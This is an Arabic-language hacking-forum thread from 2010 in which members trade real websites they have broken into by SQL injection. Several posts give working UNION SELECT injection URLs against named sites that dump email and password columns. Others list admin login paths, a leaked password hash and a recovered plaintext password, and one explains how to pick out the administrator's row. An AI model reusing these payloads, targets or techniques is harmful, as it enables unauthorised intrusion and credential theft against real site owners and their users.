العدد (3) من غرفة الحقن

Dr.Unkn0wn · 12-14-2010, 01:18 AM

باين عليكم اليوم زاوالية ماكان حتى موقع

المصدر: :: vBspiders Professional Network ::

aircrack -ng · 12-14-2010, 01:58 PM

اقتباس

المشاركة الأصلية كتبت بواسطة MR.DZ


	باين عليكم اليوم زاوالية ماكان حتى موقع

اهلا بالاخ الكريم منور الغرفة
ههههههههههه راها تموت هههههههههه:grr: رانا طايحين مونك هههههههههه:a09:
لعشيا ندبرو كاش فئران تجارب جديدة

إسلام العالم · 12-14-2010, 01:30 AM

اقتباس


	http://www.pioneermalaysia.com.my/pr...ils.php?id=137

يا إخوة بعد جهد جهيد طلع معي التالي :

اليوزر : admin أو 1

الباس مشفر تغفيرة SHA-1+MySQL v5.x :
4646967234548181134f7c51568c9cc686b60920

الباسوورد : admin غير صحيحة.....

هذا ما توصلت له......

Dr.Unkn0wn · 12-14-2010, 01:40 AM

اقتباس

المشاركة الأصلية كتبت بواسطة إسلام العالم


	يا إخوة بعد جهد جهيد طلع معي التالي : اليوزر : admin أو 1 الباس مشفر تغفيرة SHA-1+MySQL v5.x : 4646967234548181134f7c51568c9cc686b60920 الباسوورد : admin غير صحيحة..... هذا ما توصلت له......

لوحة التحكم
http://www.pioneermalaysia.com.my/admin/admin_login.php
او http://www.pioneermalaysia.com.my/admin/login.php

إسلام العالم · 12-14-2010, 11:31 AM

اقتباس

المشاركة الأصلية كتبت بواسطة MR.DZ


	لوحة التحكم http://www.pioneermalaysia.com.my/admin/admin_login.php او http://www.pioneermalaysia.com.my/admin/login.php

أخي مسار لوحة التحكم معروف ....بس بدك حدا يفك التشفير.....

n028

aircrack -ng · 12-14-2010, 01:54 PM

اقتباس

المشاركة الأصلية كتبت بواسطة إسلام العالم


	يا إخوة بعد جهد جهيد طلع معي التالي : اليوزر : admin أو 1 الباس مشفر تغفيرة SHA-1+MySQL v5.x : 4646967234548181134f7c51568c9cc686b60920 الباسوورد : admin غير صحيحة..... هذا ما توصلت له......

هلا اخي
الباسورد admin غير صحيحة لانو اللوحة تطلب user id وpassword
الباس مشفروهو الصحيح والي يفكه راح يدخله على اللوحة
تسلم اخي على المجهود
لي رجعة في المساء

darkman.dz · 12-14-2010, 05:53 PM

salam alikom warahmat allha wbarakatouh

إسلام العالم · 12-14-2010, 06:11 PM

[align=center]منتظرين أهداف جديدة يا حلوين هه هه هه[/align]

aircrack -ng · 12-14-2010, 07:54 PM

السلام عليكم
كبفكم شباب ان شاء الله بخير

هدف سهل الحقن لقيته على السريع
http://www.thecompletepianist.com/material.php?id=18

جاري التنقيب على اهداف اخرى

Victors · 12-14-2010, 09:28 PM

الحقنة

كود:

http://www.thecompletepianist.com/material.php?id=-18 UNION SELECT 1,2,group_concat(email,char(58),password),4,5,6,7,8 from users --

الايميل ~> لانة يتم الدخول عن طريق الايميل والباسوورد

aircrack -ng · 12-14-2010, 09:34 PM

اقتباس

المشاركة الأصلية كتبت بواسطة Victors


	الحقنة كود: http://www.thecompletepianist.com/material.php?id=-18 UNION SELECT 1,2,group_concat(email,char(58),password),4,5,6,7,8 from users -- الايميل ~> لانة يتم الدخول عن طريق الايميل والباسوورد

اهلا بالزعيم
تسلم عمو
ع فكرة فيه موقع حقنته وهو موقع دعارة وافلام استغفر الله
راسلني على الخاص

aircrack -ng · 12-14-2010, 09:53 PM

اوكي شباب راح اعطيكم الموقع

لاتضحكو علي سويت عليه شرح ونسيته اني حقنت موقع وهلا فتحت الدوكمو لقيته هههههههههههههههه

http://www.avmaniacs.com/review.php?id=1472

مسار اللوحة وبروك عليكم الاختراق مسبقا

http://www.avmaniacs.com/admin/admin-add.php

إسلام العالم · 12-15-2010, 12:47 AM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	اوكي شباب راح اعطيكم الموقع لاتضحكو علي سويت عليه شرح ونسيته اني حقنت موقع وهلا فتحت الدوكمو لقيته هههههههههههههههه http://www.avmaniacs.com/review.php?id=1472 مسار اللوحة وبروك عليكم الاختراق مسبقا http://www.avmaniacs.com/admin/admin-add.php

هل جربت الموقع قبل؟؟؟؟لأني فليته تقلاية و هذه النتيجة :

الحقنة هكذا :

اقتباس


	http://www.avmaniacs.com/review.php?...re+column_name +like+char(37, 112, 97, 115, 115, 37)--

الجداول :
password>avmaniac_access2l>AdminAccounts

AdminAccountsID>avmaniac_access2l>AdminAccounts

االيوزر : 1

الباس : waltde51gn

حاولت الدخول للوحة ولكن لم يدخل أظن أن الباس مشفر....

aircrack -ng · 12-15-2010, 01:07 AM

اقتباس

المشاركة الأصلية كتبت بواسطة إسلام العالم


	هل جربت الموقع قبل؟؟؟؟لأني فليته تقلاية و هذه النتيجة : الحقنة هكذا : الجداول : password>avmaniac_access2l>AdminAccounts AdminAccountsID>avmaniac_access2l>AdminAccounts االيوزر : 1 الباس : waltde51gn حاولت الدخول للوحة ولكن لم يدخل أظن أن الباس مشفر....

شوف اخي
id هي رقم العضوية مش هي اليوزر
شوف اخي نفرض مثلا اننا حقنا موقع وطلع معانا اليوزر
مثلا راح نلقى
user:id:system
هنا id هي لمعرفة رقم العضوية ودائما رقم العضوية يكون 1
مثلا نفرض اننا بدنا جدول اليوزر الي راح يطلعلنا اسم الادمن
راح نلقى مثلا
user:username:sest
هنا username هي الي راح طلعلنا اسم الادمن
مثلا احنا طلعو معانا كذا
user:id:sese
user:username:ses
user:password:sese

ومثلا احنا حطينا حقنة وطلو معانا اعضاء كثير كيف راح نعرف الادمن فيهم هنا لازم نستعمل id
راح يكون الاستغلال كذا

concat(username,0x3a,id,0x3a,password)5,6,7+from+u ser
هنا
username راح يطلعلنا الاسماء
id راح يطلعلنا رقم العضويات
password راح يطلعلنا باسوردات

يعني يوزر وباس الادمن دائما نلاقيهم هيك مثلا
admin

123456
اتمنى تكون وصلت الفكرة
اخوك عبد الصمد

إسلام العالم · 12-15-2010, 01:24 AM

اقتباس

المشاركة الأصلية كتبت بواسطة عبد الصمد


	شوف اخي id هي رقم العضوية مش هي اليوزر شوف اخي نفرض مثلا اننا حقنا موقع وطلع معانا اليوزر مثلا راح نلقى user:id:system هنا id هي لمعرفة رقم العضوية ودائما رقم العضوية يكون 1 مثلا نفرض اننا بدنا جدول اليوزر الي راح يطلعلنا اسم الادمن راح نلقى مثلا user:username:sest هنا username هي الي راح طلعلنا اسم الادمن مثلا احنا طلعو معانا كذا user:id:sese user:username:ses user:password:sese ومثلا احنا حطينا حقنة وطلو معانا اعضاء كثير كيف راح نعرف الادمن فيهم هنا لازم نستعمل id راح يكون الاستغلال كذا concat(username,0x3a,id,0x3a,password)5,6,7+from+u ser هنا username راح يطلعلنا الاسماء id راح يطلعلنا رقم العضويات password راح يطلعلنا باسوردات يعني يوزر وباس الادمن دائما نلاقيهم هيك مثلا admin123456 اتمنى تكون وصلت الفكرة اخوك عبد الصمد

أنا معك بس الموقع حاولت ما ظهر معي إلا هذا الجدول؟؟؟؟؟؟

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
هدية صغيرة بمناسبة فتح غرقة الحقن العدد 2	darkman.dz	Hackers Showoff	12	10-10-2010 05:08 PM
غرفة حقن قواعد البيانات {غرفة Sql }	Master vbspiders	SQL قواعد البيانات	412	08-18-2010 05:43 PM
[Style] : الوان العيد تاتي مع استايل العيد الاول للمسة مبدع	support	قسم ستآيلات الـ vB	0	09-18-2009 03:47 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

العدد (3) من غرفة الحقن

SQL قواعد البيانات